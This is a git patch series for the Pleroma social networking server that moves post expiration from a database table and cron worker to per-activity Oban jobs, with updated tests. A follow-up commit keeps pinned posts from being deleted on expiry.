Pleroma.ActivityExpiration alias Pleroma.Bookmark alias Pleroma.Notification alias Pleroma.Object @@ -60,8 +59,6 @@ defmodule Pleroma.Activity do # typical case. has_one(:object, Object, on_delete: :nothing, foreign_key: :id) - has_one(:expiration, ActivityExpiration, on_delete: :delete_all) - timestamps() end diff --git a/lib/pleroma/activity_expiration.ex b/lib/pleroma/activity_expiration.ex deleted file mode 100644 index 955f0578e..000000000 --- a/lib/pleroma/activity_expiration.ex +++ /dev/null @@ -1,74 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ActivityExpiration do - use Ecto.Schema - - alias Pleroma.Activity - alias Pleroma.ActivityExpiration - alias Pleroma.Repo - - import Ecto.Changeset - import Ecto.Query - - @type t :: %__MODULE__{} - @min_activity_lifetime :timer.hours(1) - - schema "activity_expirations" do - belongs_to(:activity, Activity, type: FlakeId.Ecto.CompatType) - field(:scheduled_at, :naive_datetime) - end - - def changeset(%ActivityExpiration{} = expiration, attrs, validate_scheduled_at) do - expiration - |> cast(attrs, [:scheduled_at]) - |> validate_required([:scheduled_at]) - |> validate_scheduled_at(validate_scheduled_at) - end - - def get_by_activity_id(activity_id) do - ActivityExpiration - |> where([exp], exp.activity_id == ^activity_id) - |> Repo.one() - end - - def create(%Activity{} = activity, scheduled_at, validate_scheduled_at \\ true) do - %ActivityExpiration{activity_id: activity.id} - |> changeset(%{scheduled_at: scheduled_at}, validate_scheduled_at) - |> Repo.insert() - end - - def due_expirations(offset \\ 0) do - naive_datetime = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(offset, :millisecond) - - ActivityExpiration - |> where([exp], exp.scheduled_at < ^naive_datetime) - |> limit(50) - |> preload(:activity) - |> Repo.all() - |> Enum.reject(fn %{activity: activity} -> - Activity.pinned_by_actor?(activity) - end) - end - - def validate_scheduled_at(changeset, false), do: changeset - - def validate_scheduled_at(changeset, true) do - validate_change(changeset, :scheduled_at, fn _, scheduled_at -> - if not expires_late_enough?(scheduled_at) do - [scheduled_at: "an ephemeral activity must live for at least one hour"] - else - [] - end - end) - end - - def expires_late_enough?(scheduled_at) do - now = NaiveDateTime.utc_now() - diff = NaiveDateTime.diff(scheduled_at, now, :millisecond) - diff > @min_activity_lifetime - end -end diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex index 333621413..c33848277 100644 --- a/lib/pleroma/web/activity_pub/activity_pub.ex +++ b/lib/pleroma/web/activity_pub/activity_pub.ex @@ -5,7 +5,6 @@ defmodule Pleroma.Web.ActivityPub.ActivityPub do alias Pleroma.Activity alias Pleroma.Activity.Ir.Topics - alias Pleroma.ActivityExpiration alias Pleroma.Config alias Pleroma.Constants alias Pleroma.Conversation @@ -165,7 +164,11 @@ def notify_and_stream(activity) do end defp maybe_create_activity_expiration({:ok, %{data: %{"expires_at" => expires_at}} = activity}) do - with {:ok, _} <- ActivityExpiration.create(activity, expires_at) do + with {:ok, _job} <- + Pleroma.Workers.PurgeExpiredActivity.enqueue(%{ + activity_id: activity.id, + expires_at: expires_at + }) do {:ok, activity} end end diff --git a/lib/pleroma/web/activity_pub/mrf/activity_expiration_policy.ex b/lib/pleroma/web/activity_pub/mrf/activity_expiration_policy.ex index 7b4c78e0f..bee47b4ed 100644 --- a/lib/pleroma/web/activity_pub/mrf/activity_expiration_policy.ex +++ b/lib/pleroma/web/activity_pub/mrf/activity_expiration_policy.ex @@ -31,10 +31,10 @@ defp note?(activity) do defp maybe_add_expiration(activity) do days = Pleroma.Config.get([:mrf_activity_expiration, :days], 365) - expires_at = NaiveDateTime.utc_now() |> Timex.shift(days: days) + expires_at = DateTime.utc_now() |> Timex.shift(days: days) with %{"expires_at" => existing_expires_at} <- activity, - :lt <- NaiveDateTime.compare(existing_expires_at, expires_at) do + :lt <- DateTime.compare(existing_expires_at, expires_at) do activity else _ -> Map.put(activity, "expires_at", expires_at) diff --git a/lib/pleroma/web/activity_pub/side_effects.ex b/lib/pleroma/web/activity_pub/side_effects.ex index a5e2323bd..b30ca1bd7 100644 --- a/lib/pleroma/web/activity_pub/side_effects.ex +++ b/lib/pleroma/web/activity_pub/side_effects.ex @@ -7,7 +7,6 @@ defmodule Pleroma.Web.ActivityPub.SideEffects do """ alias Pleroma.Activity alias Pleroma.Activity.Ir.Topics - alias Pleroma.ActivityExpiration alias Pleroma.Chat alias Pleroma.Chat.MessageReference alias Pleroma.FollowingRelationship @@ -189,7 +188,10 @@ def handle(%{data: %{"type" => "Create"}} = activity, meta) do end if expires_at = activity.data["expires_at"] do - ActivityExpiration.create(activity, expires_at) + Pleroma.Workers.PurgeExpiredActivity.enqueue(%{ + activity_id: activity.id, + expires_at: expires_at + }) end BackgroundWorker.enqueue("fetch_data_for_activity", %{"activity_id" => activity.id}) diff --git a/lib/pleroma/web/common_api/activity_draft.ex b/lib/pleroma/web/common_api/activity_draft.ex index f849b2e01..548f76609 100644 --- a/lib/pleroma/web/common_api/activity_draft.ex +++ b/lib/pleroma/web/common_api/activity_draft.ex @@ -202,7 +202,7 @@ defp changes(draft) do additional = case draft.expires_at do - %NaiveDateTime{} = expires_at -> Map.put(additional, "expires_at", expires_at) + %DateTime{} = expires_at -> Map.put(additional, "expires_at", expires_at) _ -> additional end diff --git a/lib/pleroma/web/common_api/common_api.ex b/lib/pleroma/web/common_api/common_api.ex index 4ab533658..500c3883e 100644 --- a/lib/pleroma/web/common_api/common_api.ex +++ b/lib/pleroma/web/common_api/common_api.ex @@ -4,7 +4,6 @@ defmodule Pleroma.Web.CommonAPI do alias Pleroma.Activity - alias Pleroma.ActivityExpiration alias Pleroma.Conversation.Participation alias Pleroma.Formatter alias Pleroma.Object @@ -381,9 +380,9 @@ def get_replied_to_visibility(activity) do def check_expiry_date({:ok, nil} = res), do: res def check_expiry_date({:ok, in_seconds}) do - expiry = NaiveDateTime.utc_now() |> NaiveDateTime.add(in_seconds) + expiry = DateTime.add(DateTime.utc_now(), in_seconds) - if ActivityExpiration.expires_late_enough?(expiry) do + if Pleroma.Workers.PurgeExpiredActivity.expires_late_enough?(expiry) do {:ok, expiry} else {:error, "Expiry date is too soon"} diff --git a/lib/pleroma/web/mastodon_api/views/status_view.ex b/lib/pleroma/web/mastodon_api/views/status_view.ex index 3fe1967be..ca42917fc 100644 --- a/lib/pleroma/web/mastodon_api/views/status_view.ex +++ b/lib/pleroma/web/mastodon_api/views/status_view.ex @@ -8,7 +8,6 @@ defmodule Pleroma.Web.MastodonAPI.StatusView do require Pleroma.Constants alias Pleroma.Activity - alias Pleroma.ActivityExpiration alias Pleroma.HTML alias Pleroma.Object alias Pleroma.Repo @@ -245,8 +244,8 @@ def render("show.json", %{activity: %{data: %{"object" => _object}} = activity} expires_at = with true <- client_posted_this_activity, - %ActivityExpiration{scheduled_at: scheduled_at} <- - ActivityExpiration.get_by_activity_id(activity.id) do + %Oban.Job{scheduled_at: scheduled_at} <- + Pleroma.Workers.PurgeExpiredActivity.get_expiration(activity.id) do scheduled_at else _ -> nil diff --git a/lib/pleroma/workers/cron/purge_expired_activities_worker.ex b/lib/pleroma/workers/cron/purge_expired_activities_worker.ex deleted file mode 100644 index 6549207fc..000000000 --- a/lib/pleroma/workers/cron/purge_expired_activities_worker.ex +++ /dev/null @@ -1,48 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker do - @moduledoc """ - The worker to purge expired activities. - """ - - use Oban.Worker, queue: "activity_expiration" - - alias Pleroma.Activity - alias Pleroma.ActivityExpiration - alias Pleroma.Config - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - require Logger - - @interval :timer.minutes(1) - - @impl Oban.Worker - def perform(_job) do - if Config.get([ActivityExpiration, :enabled]) do - Enum.each(ActivityExpiration.due_expirations(@interval), &delete_activity/1) - end - after - :ok - end - - def delete_activity(%ActivityExpiration{activity_id: activity_id}) do - with {:activity, %Activity{} = activity} <- - {:activity, Activity.get_by_id_with_object(activity_id)}, - {:user, %User{} = user} <- {:user, User.get_by_ap_id(activity.object.data["actor"])} do - CommonAPI.delete(activity.id, user) - else - {:activity, _} -> - Logger.error( - "#{__MODULE__} Couldn't delete expired activity: not found activity ##{activity_id}" - ) - - {:user, _} -> - Logger.error( - "#{__MODULE__} Couldn't delete expired activity: not found actor of ##{activity_id}" - ) - end - end -end diff --git a/lib/pleroma/workers/purge_expired_activity.ex b/lib/pleroma/workers/purge_expired_activity.ex new file mode 100644 index 000000000..016b000c1 --- /dev/null +++ b/lib/pleroma/workers/purge_expired_activity.ex @@ -0,0 +1,72 @@ +defmodule Pleroma.Workers.PurgeExpiredActivity do + @moduledoc """ + Worker which purges expired activity. + """ + + use Oban.Worker, queue: :activity_expiration, max_attempts: 1 + + import Ecto.Query + + def enqueue(args) do + with true <- enabled?(), + args when is_map(args) <- validate_expires_at(args) do + {scheduled_at, args} = Map.pop(args, :expires_at) + + args + |> __MODULE__.new(scheduled_at: scheduled_at) + |> Oban.insert() + end + end + + @impl true + def perform(%Oban.Job{args: %{"activity_id" => id}}) do + with %Pleroma.Activity{} = activity <- find_activity(id), + %Pleroma.User{} = user <- find_user(activity.object.data["actor"]) do + Pleroma.Web.CommonAPI.delete(activity.id, user) + end + end + + defp enabled? do + with false <- Pleroma.Config.get([__MODULE__, :enabled], false) do + {:error, :expired_activities_disabled} + end + end + + defp validate_expires_at(%{validate: false} = args), do: Map.delete(args, :validate) + + defp validate_expires_at(args) do + if expires_late_enough?(args[:expires_at]) do + args + else + {:error, :expiration_too_close} + end + end + + defp find_activity(id) do + with nil <- Pleroma.Activity.get_by_id_with_object(id) do + {:error, :activity_not_found} + end + end + + defp find_user(ap_id) do + with nil <- Pleroma.User.get_by_ap_id(ap_id) do + {:error, :user_not_found} + end + end + + def get_expiration(id) do + from(j in Oban.Job, + where: j.state == "scheduled", + where: j.queue == "activity_expiration", + where: fragment("?->>'activity_id' = ?", j.args, ^id) + ) + |> Pleroma.Repo.one() + end + + @spec expires_late_enough?(DateTime.t()) :: boolean() + def expires_late_enough?(scheduled_at) do + now = DateTime.utc_now() + diff = DateTime.diff(scheduled_at, now, :millisecond) + diff > :timer.hours(1) + end +end diff --git a/test/activity_expiration_test.exs b/test/activity_expiration_test.exs deleted file mode 100644 index f86d79826..000000000 --- a/test/activity_expiration_test.exs +++ /dev/null @@ -1,55 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ActivityExpirationTest do - use Pleroma.DataCase - alias Pleroma.ActivityExpiration - import Pleroma.Factory - - setup do: clear_config([ActivityExpiration, :enabled]) - - test "finds activities due to be deleted only" do - activity = insert(:note_activity) - - expiration_due = - insert(:expiration_in_the_past, %{activity_id: activity.id}) |> Repo.preload(:activity) - - activity2 = insert(:note_activity) - insert(:expiration_in_the_future, %{activity_id: activity2.id}) - - expirations = ActivityExpiration.due_expirations() - - assert length(expirations) == 1 - assert hd(expirations) == expiration_due - end - - test "denies expirations that don't live long enough" do - activity = insert(:note_activity) - now = NaiveDateTime.utc_now() - assert {:error, _} = ActivityExpiration.create(activity, now) - end - - test "deletes an expiration activity" do - Pleroma.Config.put([ActivityExpiration, :enabled], true) - activity = insert(:note_activity) - - naive_datetime = - NaiveDateTime.add( - NaiveDateTime.utc_now(), - -:timer.minutes(2), - :millisecond - ) - - expiration = - insert( - :expiration_in_the_past, - %{activity_id: activity.id, scheduled_at: naive_datetime} - ) - - Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker.perform(%Oban.Job{}) - - refute Pleroma.Repo.get(Pleroma.Activity, activity.id) - refute Pleroma.Repo.get(Pleroma.ActivityExpiration, expiration.id) - end -end diff --git a/test/activity_test.exs b/test/activity_test.exs index 2a92327d1..ee6a99cc3 100644 --- a/test/activity_test.exs +++ b/test/activity_test.exs @@ -185,15 +185,6 @@ test "find all statuses for unauthenticated users when `limit_to_local_content` end end - test "add an activity with an expiration" do - activity = insert(:note_activity) - insert(:expiration_in_the_future, %{activity_id: activity.id}) - - Pleroma.ActivityExpiration - |> where([a], a.activity_id == ^activity.id) - |> Repo.one!() - end - test "all_by_ids_with_object/1" do %{id: id1} = insert(:note_activity) %{id: id2} = insert(:note_activity) diff --git a/test/support/factory.ex b/test/support/factory.ex index 486eda8da..2fdfabbc5 100644 --- a/test/support/factory.ex +++ b/test/support/factory.ex @@ -200,25 +200,6 @@ def note_activity_factory(attrs \\ %{}) do |> Map.merge(attrs) end - defp expiration_offset_by_minutes(attrs, minutes) do - scheduled_at = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(minutes), :millisecond) - |> NaiveDateTime.truncate(:second) - - %Pleroma.ActivityExpiration{} - |> Map.merge(attrs) - |> Map.put(:scheduled_at, scheduled_at) - end - - def expiration_in_the_past_factory(attrs \\ %{}) do - expiration_offset_by_minutes(attrs, -60) - end - - def expiration_in_the_future_factory(attrs \\ %{}) do - expiration_offset_by_minutes(attrs, 61) - end - def article_activity_factory do article = insert(:article) diff --git a/test/tasks/database_test.exs b/test/tasks/database_test.exs index 3a28aa133..292a5ef5f 100644 --- a/test/tasks/database_test.exs +++ b/test/tasks/database_test.exs @@ -3,14 +3,15 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Mix.Tasks.Pleroma.DatabaseTest do + use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + alias Pleroma.Activity alias Pleroma.Object alias Pleroma.Repo alias Pleroma.User alias Pleroma.Web.CommonAPI - use Pleroma.DataCase - import Pleroma.Factory setup_all do @@ -130,40 +131,45 @@ test "it turns OrderedCollection likes into empty arrays" do describe "ensure_expiration" do test "it adds to expiration old statuses" do - %{id: activity_id1} = insert(:note_activity) + activity1 = insert(:note_activity) - %{id: activity_id2} = - insert(:note_activity, %{inserted_at: NaiveDateTime.from_iso8601!("2015-01-23 23:50:07")}) + {:ok, inserted_at, 0} = DateTime.from_iso8601("2015-01-23T23:50:07Z") + activity2 = insert(:note_activity, %{inserted_at: inserted_at}) - %{id: activity_id3} = activity3 = insert(:note_activity) + %{id: activity_id3} = insert(:note_activity) - expires_at = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(60 * 61, :second) - |> NaiveDateTime.truncate(:second) + expires_at = DateTime.add(DateTime.utc_now(), 60 * 61) - Pleroma.ActivityExpiration.create(activity3, expires_at) + Pleroma.Workers.PurgeExpiredActivity.enqueue(%{ + activity_id: activity_id3, + expires_at: expires_at + }) Mix.Tasks.Pleroma.Database.run(["ensure_expiration"]) - expirations = - Pleroma.ActivityExpiration - |> order_by(:activity_id) - |> Repo.all() - - assert [ - %Pleroma.ActivityExpiration{ - activity_id: ^activity_id1 - }, - %Pleroma.ActivityExpiration{ - activity_id: ^activity_id2, - scheduled_at: ~N[2016-01-23 23:50:07] - }, - %Pleroma.ActivityExpiration{ - activity_id: ^activity_id3, - scheduled_at: ^expires_at - } - ] = expirations + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity1.id}, + scheduled_at: + activity1.inserted_at + |> DateTime.from_naive!("Etc/UTC") + |> Timex.shift(days: 365) + ) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity2.id}, + scheduled_at: + activity2.inserted_at + |> DateTime.from_naive!("Etc/UTC") + |> Timex.shift(days: 365) + ) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity_id3}, + scheduled_at: expires_at + ) end end end diff --git a/test/web/activity_pub/activity_pub_test.exs b/test/web/activity_pub/activity_pub_test.exs index 03f968aaf..9af573924 100644 --- a/test/web/activity_pub/activity_pub_test.exs +++ b/test/web/activity_pub/activity_pub_test.exs @@ -2069,18 +2069,25 @@ test "it just returns the input if the user has no following/follower addresses" end describe "global activity expiration" do - setup do: clear_config([:mrf, :policies]) - test "creates an activity expiration for local Create activities" do - Pleroma.Config.put( - [:mrf, :policies], - Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicy + clear_config([:mrf, :policies], Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicy) + + {:ok, activity} = ActivityBuilder.insert(%{"type" => "Create", "context" => "3hu"}) + {:ok, follow} = ActivityBuilder.insert(%{"type" => "Follow", "context" => "3hu"}) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity.id}, + scheduled_at: + activity.inserted_at + |> DateTime.from_naive!("Etc/UTC") + |> Timex.shift(days: 365) ) - {:ok, %{id: id_create}} = ActivityBuilder.insert(%{"type" => "Create", "context" => "3hu"}) - {:ok, _follow} = ActivityBuilder.insert(%{"type" => "Follow", "context" => "3hu"}) - - assert [%{activity_id: ^id_create}] = Pleroma.ActivityExpiration |> Repo.all() + refute_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: follow.id} + ) end end diff --git a/test/web/activity_pub/mrf/activity_expiration_policy_test.exs b/test/web/activity_pub/mrf/activity_expiration_policy_test.exs index f25cf8b12..e7370d4ef 100644 --- a/test/web/activity_pub/mrf/activity_expiration_policy_test.exs +++ b/test/web/activity_pub/mrf/activity_expiration_policy_test.exs @@ -18,11 +18,11 @@ test "adds `expires_at` property" do "object" => %{"type" => "Note"} }) - assert Timex.diff(expires_at, NaiveDateTime.utc_now(), :days) == 364 + assert Timex.diff(expires_at, DateTime.utc_now(), :days) == 364 end test "keeps existing `expires_at` if it less than the config setting" do - expires_at = NaiveDateTime.utc_now() |> Timex.shift(days: 1) + expires_at = DateTime.utc_now() |> Timex.shift(days: 1) assert {:ok, %{"type" => "Create", "expires_at" => ^expires_at}} = ActivityExpirationPolicy.filter(%{ @@ -35,7 +35,7 @@ test "keeps existing `expires_at` if it less than the config setting" do end test "overwrites existing `expires_at` if it greater than the config setting" do - too_distant_future = NaiveDateTime.utc_now() |> Timex.shift(years: 2) + too_distant_future = DateTime.utc_now() |> Timex.shift(years: 2) assert {:ok, %{"type" => "Create", "expires_at" => expires_at}} = ActivityExpirationPolicy.filter(%{ @@ -46,7 +46,7 @@ test "overwrites existing `expires_at` if it greater than the config setting" do "object" => %{"type" => "Note"} }) - assert Timex.diff(expires_at, NaiveDateTime.utc_now(), :days) == 364 + assert Timex.diff(expires_at, DateTime.utc_now(), :days) == 364 end test "ignores remote activities" do diff --git a/test/web/common_api/common_api_test.exs b/test/web/common_api/common_api_test.exs index 800db9a20..5afb0a6dc 100644 --- a/test/web/common_api/common_api_test.exs +++ b/test/web/common_api/common_api_test.exs @@ -4,6 +4,8 @@ defmodule Pleroma.Web.CommonAPITest do use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + alias Pleroma.Activity alias Pleroma.Chat alias Pleroma.Conversation.Participation @@ -598,15 +600,15 @@ test "it validates character limits are correctly enforced" do test "it can handle activities that expire" do user = insert(:user) - expires_at = - NaiveDateTime.utc_now() - |> NaiveDateTime.truncate(:second) - |> NaiveDateTime.add(1_000_000, :second) + expires_at = DateTime.add(DateTime.utc_now(), 1_000_000) assert {:ok, activity} = CommonAPI.post(user, %{status: "chai", expires_in: 1_000_000}) - assert expiration = Pleroma.ActivityExpiration.get_by_activity_id(activity.id) - assert expiration.scheduled_at == expires_at + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity.id}, + scheduled_at: expires_at + ) end end diff --git a/test/web/mastodon_api/controllers/status_controller_test.exs b/test/web/mastodon_api/controllers/status_controller_test.exs index f221884e7..17a156be8 100644 --- a/test/web/mastodon_api/controllers/status_controller_test.exs +++ b/test/web/mastodon_api/controllers/status_controller_test.exs @@ -4,9 +4,9 @@ defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do use Pleroma.Web.ConnCase + use Oban.Testing, repo: Pleroma.Repo alias Pleroma.Activity - alias Pleroma.ActivityExpiration alias Pleroma.Config alias Pleroma.Conversation.Participation alias Pleroma.Object @@ -29,8 +29,8 @@ defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do setup do: oauth_access(["write:statuses"]) test "posting a status does not increment reblog_count when relaying", %{conn: conn} do - Pleroma.Config.put([:instance, :federating], true) - Pleroma.Config.get([:instance, :allow_relay], true) + Config.put([:instance, :federating], true) + Config.get([:instance, :allow_relay], true) response = conn @@ -103,7 +103,9 @@ test "posting a status", %{conn: conn} do # An activity that will expire: # 2 hours - expires_in = 120 * 60 + expires_in = 2 * 60 * 60 + + expires_at = DateTime.add(DateTime.utc_now(), expires_in) conn_four = conn @@ -116,19 +118,13 @@ test "posting a status", %{conn: conn} do assert fourth_response = %{"id" => fourth_id} = json_response_and_validate_schema(conn_four, 200) - assert activity = Activity.get_by_id(fourth_id) - assert expiration = ActivityExpiration.get_by_activity_id(fourth_id) - - estimated_expires_at = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(expires_in) - |> NaiveDateTime.truncate(:second) - - # This assert will fail if the test takes longer than a minute. I sure hope it never does: - assert abs(NaiveDateTime.diff(expiration.scheduled_at, estimated_expires_at, :second)) < 60 + assert Activity.get_by_id(fourth_id) - assert fourth_response["pleroma"]["expires_at"] == - NaiveDateTime.to_iso8601(expiration.scheduled_at) + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: fourth_id}, + scheduled_at: expires_at + ) end test "it fails to create a status if `expires_in` is less or equal than an hour", %{ @@ -160,8 +156,8 @@ test "it fails to create a status if `expires_in` is less or equal than an hour" end test "Get MRF reason when posting a status is rejected by one", %{conn: conn} do - Pleroma.Config.put([:mrf_keyword, :reject], ["GNO"]) - Pleroma.Config.put([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) + Config.put([:mrf_keyword, :reject], ["GNO"]) + Config.put([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) assert %{"error" => "[KeywordPolicy] Matches with rejected keyword"} = conn @@ -1681,19 +1677,17 @@ test "returns the favorites of a user" do test "expires_at is nil for another user" do %{conn: conn, user: user} = oauth_access(["read:statuses"]) + expires_at = DateTime.add(DateTime.utc_now(), 1_000_000) {:ok, activity} = CommonAPI.post(user, %{status: "foobar", expires_in: 1_000_000}) - expires_at = - activity.id - |> ActivityExpiration.get_by_activity_id() - |> Map.get(:scheduled_at) - |> NaiveDateTime.to_iso8601() - - assert %{"pleroma" => %{"expires_at" => ^expires_at}} = + assert %{"pleroma" => %{"expires_at" => a_expires_at}} = conn |> get("/api/v1/statuses/#{activity.id}") |> json_response_and_validate_schema(:ok) + {:ok, a_expires_at, 0} = DateTime.from_iso8601(a_expires_at) + assert DateTime.diff(expires_at, a_expires_at) == 0 + %{conn: conn} = oauth_access(["read:statuses"]) assert %{"pleroma" => %{"expires_at" => nil}} = diff --git a/test/workers/cron/purge_expired_activities_worker_test.exs b/test/workers/cron/purge_expired_activities_worker_test.exs deleted file mode 100644 index d1acd9ae6..000000000 --- a/test/workers/cron/purge_expired_activities_worker_test.exs +++ /dev/null @@ -1,84 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Workers.Cron.PurgeExpiredActivitiesWorkerTest do - use Pleroma.DataCase - - alias Pleroma.ActivityExpiration - alias Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker - - import Pleroma.Factory - import ExUnit.CaptureLog - - setup do - clear_config([ActivityExpiration, :enabled]) - end - - test "deletes an expiration activity" do - Pleroma.Config.put([ActivityExpiration, :enabled], true) - activity = insert(:note_activity) - - naive_datetime = - NaiveDateTime.add( - NaiveDateTime.utc_now(), - -:timer.minutes(2), - :millisecond - ) - - expiration = - insert( - :expiration_in_the_past, - %{activity_id: activity.id, scheduled_at: naive_datetime} - ) - - Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker.perform(%Oban.Job{}) - - refute Pleroma.Repo.get(Pleroma.Activity, activity.id) - refute Pleroma.Repo.get(Pleroma.ActivityExpiration, expiration.id) - end - - test "works with ActivityExpirationPolicy" do - Pleroma.Config.put([ActivityExpiration, :enabled], true) - - clear_config([:mrf, :policies], Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicy) - - user = insert(:user) - - days = Pleroma.Config.get([:mrf_activity_expiration, :days], 365) - - {:ok, %{id: id} = activity} = Pleroma.Web.CommonAPI.post(user, %{status: "cofe"}) - - past_date = - NaiveDateTime.utc_now() |> Timex.shift(days: -days) |> NaiveDateTime.truncate(:second) - - activity - |> Repo.preload(:expiration) - |> Map.get(:expiration) - |> Ecto.Changeset.change(%{scheduled_at: past_date}) - |> Repo.update!() - - Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker.perform(%Oban.Job{}) - - assert [%{data: %{"type" => "Delete", "deleted_activity_id" => ^id}}] = - Pleroma.Repo.all(Pleroma.Activity) - end - - describe "delete_activity/1" do - test "adds log message if activity isn't find" do - assert capture_log([level: :error], fn -> - PurgeExpiredActivitiesWorker.delete_activity(%ActivityExpiration{ - activity_id: "test-activity" - }) - end) =~ "Couldn't delete expired activity: not found activity" - end - - test "adds log message if actor isn't find" do - assert capture_log([level: :error], fn -> - PurgeExpiredActivitiesWorker.delete_activity(%ActivityExpiration{ - activity_id: "test-activity" - }) - end) =~ "Couldn't delete expired activity: not found activity" - end - end -end diff --git a/test/workers/purge_expired_activity_test.exs b/test/workers/purge_expired_activity_test.exs new file mode 100644 index 000000000..8b5dc9fd2 --- /dev/null +++ b/test/workers/purge_expired_activity_test.exs @@ -0,0 +1,47 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Workers.PurgeExpiredActivityTest do + use Pleroma.DataCase, async: true + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + + alias Pleroma.Workers.PurgeExpiredActivity + + test "denies expirations that don't live long enough" do + activity = insert(:note_activity) + + assert {:error, :expiration_too_close} = + PurgeExpiredActivity.enqueue(%{ + activity_id: activity.id, + expires_at: DateTime.utc_now() + }) + + refute_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity.id} + ) + end + + test "enqueue job" do + activity = insert(:note_activity) + + assert {:ok, _} = + PurgeExpiredActivity.enqueue(%{ + activity_id: activity.id, + expires_at: DateTime.add(DateTime.utc_now(), 3601) + }) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity.id} + ) + + assert {:ok, _} = + perform_job(Pleroma.Workers.PurgeExpiredActivity, %{activity_id: activity.id}) + + assert %Oban.Job{} = Pleroma.Workers.PurgeExpiredActivity.get_expiration(activity.id) + end +end -- cgit v1.2.3 From de4c935071a47c78d873484b202e09dce5399570 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Mon, 24 Aug 2020 13:43:02 +0300 Subject: don't expire pinned posts --- lib/pleroma/activity.ex | 9 +++++++-- lib/pleroma/workers/purge_expired_activity.ex | 18 +++++++++++++++++- test/workers/purge_expired_activity_test.exs | 21 +++++++++++++++++++++ 3 files changed, 45 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/activity.ex b/lib/pleroma/activity.ex index 03cd3b8c0..84aba9572 100644 --- a/lib/pleroma/activity.ex +++ b/lib/pleroma/activity.ex @@ -301,14 +301,14 @@ def all_by_actor_and_id(actor, status_ids) do |> Repo.all() end - def follow_requests_for_actor(%Pleroma.User{ap_id: ap_id}) do + def follow_requests_for_actor(%User{ap_id: ap_id}) do ap_id |> Queries.by_object_id() |> Queries.by_type("Follow") |> where([a], fragment("? ->> 'state' = 'pending'", a.data)) end - def following_requests_for_actor(%Pleroma.User{ap_id: ap_id}) do + def following_requests_for_actor(%User{ap_id: ap_id}) do Queries.by_type("Follow") |> where([a], fragment("?->>'state' = 'pending'", a.data)) |> where([a], a.actor == ^ap_id) @@ -343,4 +343,9 @@ def pinned_by_actor?(%Activity{} = activity) do actor = user_actor(activity) activity.id in actor.pinned_activities end + + @spec pinned_by_actor?(Activity.t(), User.t()) :: boolean() + def pinned_by_actor?(%Activity{id: id}, %User{} = user) do + id in user.pinned_activities + end end diff --git a/lib/pleroma/workers/purge_expired_activity.ex b/lib/pleroma/workers/purge_expired_activity.ex index 016b000c1..ba0053008 100644 --- a/lib/pleroma/workers/purge_expired_activity.ex +++ b/lib/pleroma/workers/purge_expired_activity.ex @@ -21,8 +21,18 @@ def enqueue(args) do @impl true def perform(%Oban.Job{args: %{"activity_id" => id}}) do with %Pleroma.Activity{} = activity <- find_activity(id), - %Pleroma.User{} = user <- find_user(activity.object.data["actor"]) do + %Pleroma.User{} = user <- find_user(activity.object.data["actor"]), + false <- pinned_by_actor?(activity, user) do Pleroma.Web.CommonAPI.delete(activity.id, user) + else + :pinned_by_actor -> + # if activity is pinned, schedule deletion on next day + enqueue(%{activity_id: id, expires_at: DateTime.add(DateTime.utc_now(), 24 * 3600)}) + + :ok + + error -> + error end end @@ -54,6 +64,12 @@ defp find_user(ap_id) do end end + defp pinned_by_actor?(activity, user) do + with true <- Pleroma.Activity.pinned_by_actor?(activity, user) do + :pinned_by_actor + end + end + def get_expiration(id) do from(j in Oban.Job, where: j.state == "scheduled", diff --git a/test/workers/purge_expired_activity_test.exs b/test/workers/purge_expired_activity_test.exs index 8b5dc9fd2..736d7d567 100644 --- a/test/workers/purge_expired_activity_test.exs +++ b/test/workers/purge_expired_activity_test.exs @@ -44,4 +44,25 @@ test "enqueue job" do assert 